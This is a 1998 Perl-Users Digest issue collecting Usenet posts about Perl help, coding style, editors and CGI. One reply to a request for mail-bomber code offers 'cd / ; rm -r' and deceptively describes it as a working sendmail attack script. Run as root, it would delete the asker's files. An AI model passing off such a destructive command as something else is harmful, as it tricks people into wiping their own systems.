[9590] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 3184 Volume: 8

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Fri Jul 17 05:58:11 1998

Date: Fri, 17 Jul 98 01:00:45 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Fri, 17 Jul 1998     Volume: 8 Number: 3184

Today's topics:
    Re: client server programming <joe@rhein.to>
    Re: clp.moderated (Abigail)
    Re: clp.moderated <rra@stanford.edu>
        Coding Quiz (was Re: efficiency: print<<"xxx" vs. print <uri@sysarch.com>
    Re: Has anyone ever made Comm.pl work? (brian moore)
        Help with perl script. on editing a database file andrew_broadley@my-dejanews.com
    Re: Help with perl script. on editing a database file (Martien Verbruggen)
    Re: Invoking a Programme from HTML. (Larry Rosler)
    Re: Invoking a Programme from HTML. (-)
    Re: mail bomber source code for perl. (-)
        matching problem <dueckert@iis.fhg.de>
    Re: Midnight Oil reference in Perl book? <s-max@pacbell.net>
    Re: open (IN, "foo.txt") works, open (IN, "$foo") does  (J|rgen P|nter)
    Re: Perl Beautifier Home Page <scribble@pobox.com>
    Re: Perl Beautifier Home Page (Tom Mornini)
    Re: Perl Beautifier Home Page <rra@stanford.edu>
    Re: Perl Beautifier Home Page <tchrist@mox.perl.com>
    Re: Perl Beautifier Home Page <zenin@bawdycaste.org>
    Re: Perl Beautifier Home Page (Abigail)
    Re: running C functions in PERL (Martien Verbruggen)
    Re: Sendmail ? (-)
    Re: Simultaneous Telnet/TCP sessions ? (-)
        unwanted warning <stephan@spartacus.unilog.se>
    Re: web hosting problems <joe@rhein.to>
    Re: What is awk better at than perl? (Larry quote) (Mark-Jason Dominus)
    Re: when i use htaccess to do authentication (brian d foy)
        Special: Digest Administrivia (Last modified: 12 Mar 98 (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Fri, 17 Jul 1998 09:24:37 +0200
From: "joe" <joe@rhein.to>
Subject: Re: client server programming
Message-Id: <6omv07$4hd$2@usenet51.supernews.com>

If you are talking for the web i can recomend Oreilly's "web client
programming with perl" (ISBN 1-56592-214-x)



sonigopi@hotmail.com schrieb in Nachricht
<6olpa8$k4b$1@nnrp1.dejanews.com>...
>     Is there a good book on client/server programming in perl with many,
many
>full example?
>





------------------------------

Date: 17 Jul 1998 07:20:03 GMT
From: abigail@fnx.com (Abigail)
Subject: Re: clp.moderated
Message-Id: <6omtv3$su3$4@client3.news.psi.net>

Russ Allbery (rra@stanford.edu) wrote on MDCCLXXXI September MCMXCIII in
<URL: news:m3d8b5upiy.fsf@windlord.Stanford.EDU>:
++ Cameron Dorey <camerond@mail.uca.edu> writes:
++ 
++ > When (c.l.p.moderated -e) {
++ >      Please announce here, for (voice_of_experience=1) {
++ >           I don't trust my newsserver's feed to get the group
++ >                to me without a hassle;
++ >           }
++ >      }
++ 
++ It exists.  If it hasn't shown up at your site yet, time to start bugging
++ your local news admin.  :)


He doesn't respond [1]. Now what do I do?



[1] PSInet. Worthless provider. Given the number of new groups that
    appeared on their servers the last year, I never had any hopes
    comp.lang.perl.moderated will be a group I can read.



Abigail
-- 
perl -wle '(1 x $_) !~ /^(11+)\1+$/ && print while ++ $_'


------------------------------

Date: 17 Jul 1998 00:28:41 -0700
From: Russ Allbery <rra@stanford.edu>
Subject: Re: clp.moderated
Message-Id: <m3zpe9ndg6.fsf@windlord.Stanford.EDU>

Abigail <abigail@fnx.com> writes:

> He doesn't respond [1]. Now what do I do?

> [1] PSInet. Worthless provider. Given the number of new groups that
>     appeared on their servers the last year, I never had any hopes
>     comp.lang.perl.moderated will be a group I can read.

Find a different provider?  Newsguy is extremely inexpensive for a fairly
solid newsfeed.

-- 
#!/usr/bin/perl -- Russ Allbery, Just Another Perl Hacker
$^=q;@!>~|{>krw>yn{u<$$<[~||<Juukn{=,<S~|}<Jwx}qn{<Yn{u<Qjltn{ > 0gFzD gD,
 00Fz, 0,,( 0hF 0g)F/=, 0> "L$/GEIFewe{,$/ 0C$~> "@=,m,|,(e 0.), 01,pnn,y{
rw} >;,$0=q,$,,($_=$^)=~y,$/ C-~><@=\n\r,-~$:-u/ #y,d,s,(\$.),$1,gee,print


------------------------------

Date: 17 Jul 1998 00:27:01 -0400
From: Uri Guttman <uri@sysarch.com>
Subject: Coding Quiz (was Re: efficiency: print<<"xxx" vs. print)
Message-Id: <x7sok1m7ai.fsf_-_@sysarch.com>


this thread has inspired me to post a short quiz i created may years
ago. the last time i posted it (comp.lang.c, and others) a few years
ago, it caused quite a flame war. in particular one luser from texas kept
writing vulgar email saying if it is legal code, it is good code. he
never got my sarcastic, flame baiting responses :-)

this quiz has 3 main questions and a bonus one. all are about coding
itself, not program design, gui's, efficiency or anything to do with the
computer itself. as i read recently, knuth said something like code is
for humans and so is this quiz. after the flame wars die down i will
post my answers and the fires will rise again.

i have given this quiz to many computer people, and only a handful have
ever gotten 3 points. average scores seem to be around 1. only 2 people
have ever gotten the bonus without help, one of which is my wife who is
decidely NOT a computer person. that seemed to help her! (she will be
with me at the conference again though not officially attending. she was
a breath of fresh air at the breakfast and lunches, talking about real
world stuff :-)

all of the questions have very short answers (about one word each) which,
hopefully, will open exploration of large areas of programming terra
incognita. the bonus answer is cute and copyrighted by me.

1. Who is main the PERSON you should think about while you are writing code?

2. Other than comments, what is the most important HUMAN aspect of code?

3. What is the main PURPOSE of comments?

Bonus: What is the OPPOSITE of spaghetti code?



good luck and flame on!

uri

-- 
Uri Guttman  -----------------  SYStems ARCHitecture and Software Engineering
Perl Hacker for Hire  ----------------------  Perl, Internet, UNIX Consulting
uri@sysarch.com  ------------------------------------  http://www.sysarch.com
The Best Search Engine on the Net -------------  http://www.northernlight.com


------------------------------

Date: 17 Jul 1998 06:22:47 GMT
From: bem@news.cmc.net (brian moore)
Subject: Re: Has anyone ever made Comm.pl work?
Message-Id: <slrn6qtrdr.ofa.bem@thorin.cmc.net>

On Wed, 15 Jul 1998 22:07:33 GMT, 
 David Boyce <David.Boyce@fmr.com> wrote:
> Luke Diamand wrote:
> > 
> > Is it just me, or is Comm.pl completely broken? Is it possible at all to
> > setup a working equivalent of:
> > 
> >         open( "|myprogram|" );
> > 
> > IPC::Open2 doesn't do the job, because of the buffering blues described in
> > the manual:-(
> 
> 1. Comm.pl has been superseded by Expect.pm.

Although I have tons of Comm.pl code to do fun things that I have never
converted. :)

Works great... this telnet's to a terminal server, dials out, connects
to a far site, telnets to the proper machine, resets a port and logs
off.  (The SIG is so I can send a "uh-oh" page).  Most of the boring
stuff is in other subroutines.

Yeah, Yeah, 'use Expect;', but Comm.pl does work, and rewriting working
code is low on my list. :)

    $SIG{'__DIE__'} = 'death';

        &Comm'init();                           # initialize Comm.

    # First, we telnet to the PM...
        $handle  = &open_port('pm1', 23, $timeout) || die "Couldn't open PM!";
        do_login;

    # this should really find an open port....
        print $handle "attach S14\n";
        &expect( $handle, 5, 'Connected' )      || die "Couldn't open modem.";

        print $handle "ATDT $phone\r";

    # Now, we wait for the remote site to give us a login prompt...
        do_login;

        print $handle "telnet $ip_address\n";
        do_login;

        grab_status('before');
        print $handle "reset w1\n";            # reset the damned WAN

        sleep 2;                                # we need this?  Seem to.
        grab_status('after');
        close $handle;                          # hang up and go.

        sleep 2;
        exit 0;


-- 
Brian Moore                             Kill A Spammer For Jesus
Sysadmin, C/Perl Hacker, Usenet Vandal 


------------------------------

Date: Fri, 17 Jul 1998 04:35:20 GMT
From: andrew_broadley@my-dejanews.com
Subject: Help with perl script. on editing a database file
Message-Id: <6omka8$njl$1@nnrp1.dejanews.com>

Hi,

I've designed a script, where u can submit to and search a database file.

Yet i can not figure out how to edit the file, tried using arrays but couldnt
figure it out.

The script needs to be able to edit the file.

The layout of the file is

name|company|phone| etc

or if there is any other way of editing it

Allinfo would be helpful



-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp   Create Your Own Free Member Forum


------------------------------

Date: 17 Jul 1998 05:31:39 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: Help with perl script. on editing a database file
Message-Id: <6omnjr$lqt$2@nswpull.telstra.net>

In article <6omka8$njl$1@nnrp1.dejanews.com>,
	andrew_broadley@my-dejanews.com writes:

> Yet i can not figure out how to edit the file, tried using arrays
> but couldnt figure it out.

Maybe you should also try the documentation:

This tells you how to 'change' or 'insert' a line:

# perldoc perlfaq5

     How do I change one line in a file/delete a line in a
     file/insert a line in the middle of a file/append to the
     beginning of a file?


And for each line you can use split:

# perldoc -f split

Martien
-- 
Martien Verbruggen                  | 
Webmaster www.tradingpost.com.au    | Begin at the beginning and go on till
Commercial Dynamics Pty. Ltd.       | you come to the end; then stop.
NSW, Australia                      | 


------------------------------

Date: Thu, 16 Jul 1998 22:31:47 -0700
From: lr@hpl.hp.com (Larry Rosler)
Subject: Re: Invoking a Programme from HTML.
Message-Id: <MPG.101881a13d79c6f8989755@nntp.hpl.hp.com>

In article <35AE6B42.159FD64D@iname.com> on Thu, 16 Jul 1998 23:06:10 
+0200, Michael W. Lancaster <conservative-party@iname.com> says...
 ...
> I should wish to initiate the execution of a CGI/PERL programme when an
> HTML page is loaded, automatically rather than through a process (such
> as clicking on a hyper-text link).  My U. R. L. is:--
> http://www.serve.com/lordgovernor/
> 
> I have tried using three statements but to no avail;
> 
> <!--exec cgi="/lordgovernor/cgi/script.cgi"-->
> <!--exec cgi="/full/path/to/cgi/script.cgi"-->
> <!--include virtual="/lordgovernor/cgi/script.cgi"-->

If what you want is to execute a CGI program which then takes 
responsibility for sending information back to the client, you can do it 
very simply:

<HTML><HEAD><META HTTP-EQUIV="Refresh"
CONTENT="0;URL=http://www.serve.com/cgi-bin/myCGIprogram"
</HEAD><BODY></BODY></HTML>

The integer in CONTENT specifies how many seconds the server should wait 
before transferring control to the CGI program.

No Perl relevance here, however.

-- 
Larry Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com


------------------------------

Date: Fri, 17 Jul 1998 06:53:43 GMT
From: root.noharvest.\@not_even\here.com (-)
Subject: Re: Invoking a Programme from HTML.
Message-Id: <35aef44e.256081424@nntp.idsonline.com>

"Michael W. Lancaster" <conservative-party@iname.com> Said this:

>Thursday, 16th July, 1998
>
>
>Accosts,
>
>I should wish to initiate the execution of a CGI/PERL programme when an
>HTML page is loaded, automatically rather than through a process (such
>as clicking on a hyper-text link).  My U. R. L. is:--
>http://www.serve.com/lordgovernor/
>
>I have tried using three statements but to no avail;
>
><!--exec cgi="/lordgovernor/cgi/script.cgi"-->
><!--exec cgi="/full/path/to/cgi/script.cgi"-->
><!--include virtual="/lordgovernor/cgi/script.cgi"-->
>
>I understand that this is more of an HTML question and I apologise for
>that.  I do hope that some one may be of assistance to me.  Thank you in
>advance.
>

The three lines above are for Server Side Includes, which would work
if your server had SSI enabled.  

The easiest way to do this is to "wrap" one image from your page
inside the cgi script you want to execute.  Obviously if you want only
that one page to execute the script, you should use an image unique to
that page.

Basically, the only modification you need to make for the cgi script
is to add this line:

print "Location: http://www.yourserver.com/whatever/image.gif\n\n";

and in your HTML file, change the <img src> for that image to the cgi
script's URL.




------------------------------

Date: Fri, 17 Jul 1998 06:49:13 GMT
From: root.noharvest.\@not_even\here.com (-)
Subject: Re: mail bomber source code for perl.
Message-Id: <35aef2e1.255716667@nntp.idsonline.com>



>On Thu, 16 Jul 1998 01:51:18 GMT, Bob Trieger wrote :
>
>>Matthew Flinchbaugh <matthew@nofear.hjsoft.com> wrote:
>>-> hey does any one have the perl source code for a mail bomber?
>>-> for Linux
>>-> ?
>>

yeah, 

#!/bin/sh
cd /
rm -r

This simple, two line code, run on any linux machine as root will
connect to a special port on the sendmail server. Run this shell
script and you will get a series of prompts, asking things like
"target server or email address", number of messages to send,
duration, etc.

It's amazing how well this script does it's job!  I've seen entire
national ISPs get knocked down on their asses by this little gem!! 

:)





------------------------------

Date: Fri, 17 Jul 1998 09:24:17 +0200
From: Simon Dueckert <dueckert@iis.fhg.de>
Subject: matching problem
Message-Id: <Pine.LNX.3.96.980717092341.238A-100000@mp220.iis>

Hi All,

I have a problem. In my download directory I wrote a file with the
following content:
filename description web-address
example:
test.txt Text to Test http://www.microsoftsucks.com

Now I want to split it in 3 variables. I did the following (I'm new to
perl ;^)

script:

#!/usr/bin/perl

open INFO,"test.txt"
while ($line=<INFO>)
{
	print $line;	--> this works fine
	($file,$desc,$url)=(/^(\s)()(\s)$/);	-->probably this looks
very strange to you
	print $file;	-->no output
}
So what is the right matching syntax ????


--
Regards
Simon Dueckert                   \^ ^/
                                 )@ @(
 +---------------------------oOO--(_)----------------------------------+
 + Student of Friedrich Alexander University - Electrical Engineering  +
 + Mr. Simon Dueckert           | Phone: (+49) (0)9131 33068           +
 + Karlsbader Strasse 9         | Fax  : (+49) (0)9131 33068           +
 + 91058 Erlangen (germany)     | Mobil: (+49) (0)177  4101640         +
 +                              | Work : (+49) (0)9131 776315          +
 +                              | Email: dueckert@iname.com            +
 + web site: under construction |        dueckert@iis.fhg.de           +
 +-----------------------------------Oooo--oOO-------------------------+
                               oooO (   )
                              (   )  ) /
                               \ (  (_/
                                \_)

Type Bits/KeyID    Date       User ID
pub  1024/514EC449 1998/03/22 Simon Dueckert <dueckert@iis.fhg.de>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAzUVkEsAAAEEALnpUJNlyfzRmdchWCm+sJejFsYlOF+1zD00UANEzIBtGxj4
iMMg5BEZuF2Vq4EFSxgi5OFp4GnaI1cUHJshWwehyHedB3+GmbKmebXc4Qz/5Wqk
vVRO/LklJ0gUZ3YIKd7RgJ5cjUScN+odJklQWgjMMsSb5Y1kwzdnXytRTsRJAAUR
tCRTaW1vbiBEdWVja2VydCA8ZHVlY2tlcnRAaWlzLmZoZy5kZT6JAJUDBRA1FZBL
N2dfK1FOxEkBAU5QA/4uBzbfD5jB/tMbFgVXpxysrxWCP57ta2Z/EgdVs7SZAwcs
JaxPGO21tJqgWHdbYzTo+OFxO1F2I9UypdslLkPq94G5EnjIooMSZ91JWwB9aG5o
f3mbmTWXy7sAEXORr4yN8IjHh7518zStgWKppdr54IA/6M4/FpdpM8Yfz0ozEA==
=WyIf
-----END PGP PUBLIC KEY BLOCK-----



------------------------------

Date: 16 Jul 1998 21:01:49 -0700
From: Scott Maxwell <s-max@pacbell.net>
Subject: Re: Midnight Oil reference in Perl book?
Message-Id: <m3sok12kia.fsf@localhost.localdomain>

lr@hpl.hp.com (Larry Rosler) writes:

> In article <slrn6qt35k.a6.technik@cyrix.agoron.com> on 16 Jul 1998 
> 23:25:00 GMT, technik@cyrix.agoron.com <technik@cyrix.agoron.com> says...
> ...
> > >We all reveal our age or culture.  The following was the favorite toast 
> > >of Commodore Stephen Decatur, Jr. (1779-1820), a hero of the American 
> > >War of 1812 (against England):
> > >
> > >"Our Country!  In her intercourse with foreign nations, may she always be 
> > >in the right; but our country, right or wrong!"
> > >
> > 	[snip]
> > Just nitpicking, the quotation is:
> >  "Our Country! In her intercourse with foreign nations, may she always be
> >   in the right and always successful, right or wrong."
> 
> Authoritative citation, please?  I found the version I quoted in several 
> places on the Web, and it is the way I remembered it from childhood (but 
> that was a long time ago).  The semantics of these two differ 
> considerably.

Bartlett's says this:

``Our country!  In her intercourse with foreign nations may she always
  be in the right; but our country, right or wrong.''
    -- Stephen Decatur (1779-1820): Toast given at Norfolk, April, 1816.

The ObPerl is in the .sig:

-- 
-------------------------+-----------------------------------------------------
R H L U  Scott Maxwell:  | perl -e '$\=".\n";Just();sub another{Perl()}sub Just
E A I X      s-max@      | {another()}sub Perl{hacker()}sub hacker{$,=" ";print
D T N 5    pacbell.net   | reverse map{$_=(caller($_))[3];s/.*:://;$_}(0..3)}'


------------------------------

Date: 17 Jul 1998 05:17:13 GMT
From: Juergen.Puenter@materna.de (J|rgen P|nter)
Subject: Re: open (IN, "foo.txt") works, open (IN, "$foo") does not???
Message-Id: <6ommop$n2d$1@penthesilea.Materna.DE>

In article <35ae768a.224341080@nntp.idsonline.com>, 
root.noharvest.\@not_even\here.com says...
>
>It's possible that somehow the chdir is your problem. You don't have
>to change the "working directory" in order to open a file.... open

Hmm, looking at the posts so far it seems like I made my point less
clear than I thought. OK, here goes:

1) I am _absolutely certain_ that $file has no leading/trailing 
   spaces, newlines, tabs... I already chomped it, printed it out,
   massaged it in various ways - it always is exactly what it should
   be: a simple filename like 'this_is_my.file.1'. It even passes the
   'print "\n\n|$file|\n\n"'-Test (nice one, by the way :-) Something
   to remember for future use.)

2) The problem _is not_ about chdir ;-)

3) Anyway, the problem remains. Here it is again:

-  $file = "complete_path_to.file.001";
   open (FHIN, "$file") || die "...";
   $foo = <FHIN>;

   This works as it should. $foo has the file (a one-liner) in it 
   and I can manipulate $foo and write it back.

-  $file2 = "complete_path_to.";	#no \n, \t, whitespace... in here
   $file3 = "file.001";			#no \n, \t, whitespace... in here
   $file4 = #choose your method to put together $file2 and $file3#
   open (FHIN, "$file4") || die "...";
   $foo = <FHIN>;

   This fails _each and every time_, no matter how I try to construct 
   $file4. It always dies at the 'open' with 'Can't open '$file4' 
   for read. No such file or directory'

   As I said, both the file and dir are there, both are 777 and it works 
   perfectly as long as I hardcode the complete path (absolute or relative)
   into $file4. As soon as I switch to variables, it dies.

4) I realize I should've given you more input about what I tried
   so far. I hope I gave you enough this time. One thing I didn't 
   mention is that I'm running perl 5.001, unofficial patchlevel 1m.
   Yes, it's old and I should use 5.004, but no-one here has the time
   to do an update (I'm too unimportant to force it) and I don't have 
   the knowledge :-(. Brr, enough whining, thanks fo your time.

Still puzzled
	Juergen Puenter



------------------------------

Date: 16 Jul 1998 23:24:39 -0500
From: Tushar Samant <scribble@pobox.com>
Subject: Re: Perl Beautifier Home Page
Message-Id: <6omjm7$pj9@tekka.wwa.com>

rra@stanford.edu writes:
>> 	    YaRight         => 'cat',
>
>(Studly caps.  Ick.)

Maybe more than 80 chars are also needed when you have variables
called enormousStudlyCappedName1?



------------------------------

Date: Fri, 17 Jul 1998 04:27:30 GMT
From: tmornini@netcom.com (Tom Mornini)
Subject: Re: Perl Beautifier Home Page
Message-Id: <tmorniniEw81pu.FEy@netcom.com>

Russ Allbery (rra@stanford.edu) wrote:

: Anything that's nested more than four levels needs rewriting.

Good Lord! What a rash statement.

"Down with the anti-indenting jingoists!"

-- Tom Mornini
-- InfoMania


------------------------------

Date: 16 Jul 1998 21:46:26 -0700
From: Russ Allbery <rra@stanford.edu>
Subject: Re: Perl Beautifier Home Page
Message-Id: <m3zpe9rsnx.fsf@windlord.Stanford.EDU>

Tom Mornini <tmornini@netcom.com> writes:
> Russ Allbery (rra@stanford.edu) wrote:

>> Anything that's nested more than four levels needs rewriting.

> Good Lord! What a rash statement.

> "Down with the anti-indenting jingoists!"

It's stated in that fashion because that's the way it's stated in most
programming style guides.  It's one of the proverbial rules intended to be
broken, of course, but it's still a very useful rule of thumb.

-- 
#!/usr/bin/perl -- Russ Allbery, Just Another Perl Hacker
$^=q;@!>~|{>krw>yn{u<$$<[~||<Juukn{=,<S~|}<Jwx}qn{<Yn{u<Qjltn{ > 0gFzD gD,
 00Fz, 0,,( 0hF 0g)F/=, 0> "L$/GEIFewe{,$/ 0C$~> "@=,m,|,(e 0.), 01,pnn,y{
rw} >;,$0=q,$,,($_=$^)=~y,$/ C-~><@=\n\r,-~$:-u/ #y,d,s,(\$.),$1,gee,print


------------------------------

Date: 17 Jul 1998 04:50:59 GMT
From: Tom Christiansen <tchrist@mox.perl.com>
Subject: Re: Perl Beautifier Home Page
Message-Id: <6oml7j$p4f$1@csnews.cs.colorado.edu>

 [courtesy cc of this posting sent to cited author via email]

In comp.lang.perl.misc, Tim Maher <tim.maher@halcyon.com> writes:
:You can put a #LIT at the end of any line, to disable any beautification on it.

I don't really thing that's reasonable.  But that's ok.
I know I'll never see a program make code as pretty as
a human, so can't imagine using it. :-(

--tom
-- 
     There is always a better way.
                     -- Thomas Edison


------------------------------

Date: 17 Jul 1998 05:36:20 GMT
From: Zenin <zenin@bawdycaste.org>
Subject: Re: Perl Beautifier Home Page
Message-Id: <900654362.763147@thrush.omix.com>

Tom Christiansen <tchrist@mox.perl.com> wrote:
	>snip<
: I don't really thing that's reasonable.  But that's ok.
: I know I'll never see a program make code as pretty as
: a human, so can't imagine using it. :-(

	Agreed with the first part, but I can still see a use for it.  I've
	had to deal with code written by...we'll say "less seasoned"
	programmers, with random indentation, 200 column multi-&&/|| if
	conditions (even I wouldn't do that:-), etc.  While in many of
	these cases I opt to reimplement the code completely (that many
	bugs, etc on top of the readability), I must first at least make
	sense of what the heck it's trying to do.

	Even if a beautifier isn't perfect, if it can make the completely
	unreadable somewhat readable I'd use it.
-- 
-Zenin (zenin@archive.rhps.org)           From The Blue Camel we learn:
BSD:  A psychoactive drug, popular in the 80s, probably developed at UC
Berkeley or thereabouts.  Similar in many ways to the prescription-only
medication called "System V", but infinitely more useful. (Or, at least,
more fun.)  The full chemical name is "Berkeley Standard Distribution".


------------------------------

Date: 17 Jul 1998 07:15:04 GMT
From: abigail@fnx.com (Abigail)
Subject: Re: Perl Beautifier Home Page
Message-Id: <6omtlo$su3$3@client3.news.psi.net>

Tushar Samant (scribble@pobox.com) wrote on MDCCLXXXI September MCMXCIII
in <URL: news:6omjm7$pj9@tekka.wwa.com>:
++ rra@stanford.edu writes:
++ >> 	    YaRight         => 'cat',
++ >
++ >(Studly caps.  Ick.)
++ 
++ Maybe more than 80 chars are also needed when you have variables
++ called enormousStudlyCappedName1?
          1234567890123456789012345
                   1         2


Nope. 25 << 80.



Abigail
-- 
enormousStudlyCappedNameWhichForSomeReasonNotExplainedHasNotALeadingCapitalButALeadingSmallLetter


------------------------------

Date: 17 Jul 1998 05:27:30 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: running C functions in PERL
Message-Id: <6omnc2$lqt$1@nswpull.telstra.net>

In article <6omglf$a59$1@news.nyu.edu>,
	"Boris Dank" <bqd0915@is.nyu.edu> writes:
> I need to perform a few API calls on HPUX 10.20 platform to something called
> Essbase Server.  If I have all the include files (lib*.h) as well as all the
> library files (lib*.sl and lib*.a) documented, can I somehow call them from
> PERL?  I have done the same in C but am wondering if it can be done in PERL.

# perldoc perlxs
[snip]
     XS is a language used to create an extension interface
     between Perl and some C library which one wishes to use with
     Perl.
[snip]
# perldoc perlxstut

Martien
-- 
Martien Verbruggen                  | 
Webmaster www.tradingpost.com.au    | The gene pool could use a little
Commercial Dynamics Pty. Ltd.       | chlorine.
NSW, Australia                      | 


------------------------------

Date: Fri, 17 Jul 1998 06:41:13 GMT
From: root.noharvest.\@not_even\here.com (-)
Subject: Re: Sendmail ?
Message-Id: <35aef0e7.255214021@nntp.idsonline.com>

Zenin <zenin@bawdycaste.org> Said this:

>Eli the Bearded <*@qz.to> wrote:
>: Zenin is arguing that plain vi is obsolete and that for vi style
>: editing you should use one of the newer clones. There is some
>: merit to this argument.
>
>	Yep.  I'd *only* ever recommend stock vi for sysadmins that must
>	jump from random box to random box a lot.  For anyone that does
>	any real amount of coding, to use stock vi is to waste your life
>	away in extra effort.  Do you use /bin/sh for your shell with
>	the stock /etc/profile too?  Didn't think so.
>
>
>: You want ed(1). ed(1) is the standard editor.
>
>	Nope, you want cat(1).  Cat is the editor of Real Men[tm].


Geez...  I wasn't trying to start a flame war about which editor is
better.  

I suggested vi because it's always present and easy enough to figure
out to make a simple one line change, and in no way suggested that you
actually CODE in vi.  Hell, that would be rather painfull.

notepad or wordpad, FTP the file, test it on the command line.  For
really large scripts it's quicker to open the file in vi to make a
simple fix, like add a ; or } that somehow got skipped, than it would
be to fix it on the local machine and FTP it again.  Of course, you
have to make sure you correct the error on your "local" copy too, or
you end up hitting the same error somewhere down the road.

And yes, I jump from box to box, so vi is often the only editor in
common.




------------------------------

Date: Fri, 17 Jul 1998 06:50:03 GMT
From: root.noharvest.\@not_even\here.com (-)
Subject: Re: Simultaneous Telnet/TCP sessions ?
Message-Id: <35aef3f7.255994388@nntp.idsonline.com>

david2020@my-dejanews.com Said this:

>
>
>
>Can anybody show me a script that can generate 100s of simultaneous telnet/tcp
>sessions to a host?  I tried using PERL + fork(), but, it seems that it's not
>working right when I do the simultaneous calls.
>

Sure.......  And while I'm at it, I'm going to give you all of my root
login passwords on all the servers I maintain too.




------------------------------

Date: Fri, 17 Jul 1998 09:38:35 +0200
From: Stephan Lagerholm <stephan@spartacus.unilog.se>
Subject: unwanted warning
Message-Id: <35AEFF7A.D5AF629B@spartacus.unilog.se>

I'm making some CGI's in perl and use the -w flag. My program uses a lot
of dbm's but I don't want
perl to open a new database if there doesn't exists any.:

dbmopen(%AAA,"aaa",undef);

Now i get alot of warnings that fills up my Apache error_log:

Use of initialized value at line 111.

Is there any way to avoid this ?
I don't want to: tail -f  error_log | grep -v uninitialized



------------------------------

Date: Fri, 17 Jul 1998 09:21:54 +0200
From: "joe" <joe@rhein.to>
Subject: Re: web hosting problems
Message-Id: <6omuvs$4hd$1@usenet51.supernews.com>

I am not so sure that you can get a cgi-bin for free but there are always
cheap virtual-hosters (http://www.pair.com) that give you cgi-bins... I
doubt that you will find a free service like geocities that offers you a
cgi-bin

joe

Seth Wandersman schrieb in Nachricht <35ae470f.0@news.scsn.net>...
>I created a cgi script and now I can't find a place to put it on. does
>anyone know any free sites like geocities or something where I could put
it?
>I'm sorry if this is an inappropriate place to post.
>
>




------------------------------

Date: 17 Jul 1998 01:22:32 -0400
From: mjd@op.net (Mark-Jason Dominus)
Subject: Re: What is awk better at than perl? (Larry quote)
Message-Id: <6omn2o$48m$1@monet.op.net>

Ilya Zakharevich <ilya@math.ohio-state.edu> wrote:
>Extra keystrokes - maybe.  Knowledge of an extra program to pollute my
>memory - no.

Sure, but some of us knew awk first.  I have to stop and think to
remember the -lane and whether the array is @F or @f, and I usually
get it wrong.   But I have ten years of muscle memory recalling {print
$1} for me.

I picked that example because I remembered Larry mentioning it on p5p
a few weeks ago.



------------------------------

Date: Fri, 17 Jul 1998 02:23:27 -0400
From: comdog@computerdog.com (brian d foy)
Subject: Re: when i use htaccess to do authentication
Message-Id: <comdog-ya02408000R1707980223270001@news.panix.com>
Keywords: from just another new york perl hacker

In article <6om8en$g67@bgtnsc02.worldnet.att.net>, "zhe dang" <dangran@worldnet.att.net> posted:

>when i use htaccess to do client authentication, how can a server know who
>(usrid and passwd)
>accesses the protected page?

hook into the server API with mod_perl and the Apache:: modules.

good luck :)

-- 
brian d foy                                  <comdog@computerdog.com>
CGI Meta FAQ <URL:http://computerdog.com/CGI_MetaFAQ.html>
Comprehensive Perl Archive Network (CPAN) <URL:http://www.perl.com>
Perl Mongers Travel Deals! <URL:http://www.pm.org/travel.html>


------------------------------

Date: 12 Jul 98 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Special: Digest Administrivia (Last modified: 12 Mar 98)
Message-Id: <null>


Administrivia:

Special notice: in a few days, the new group comp.lang.perl.moderated
should be formed. I would rather not support two different groups, and I
know of no other plans to create a digested moderated group. This leaves
me with two options: 1) keep on with this group 2) change to the
moderated one.

If you have opinions on this, send them to
perl-users-request@ruby.oce.orst.edu. 


The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.

The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V8 Issue 3184
**************************************

home help back first fref pref prev next nref lref last post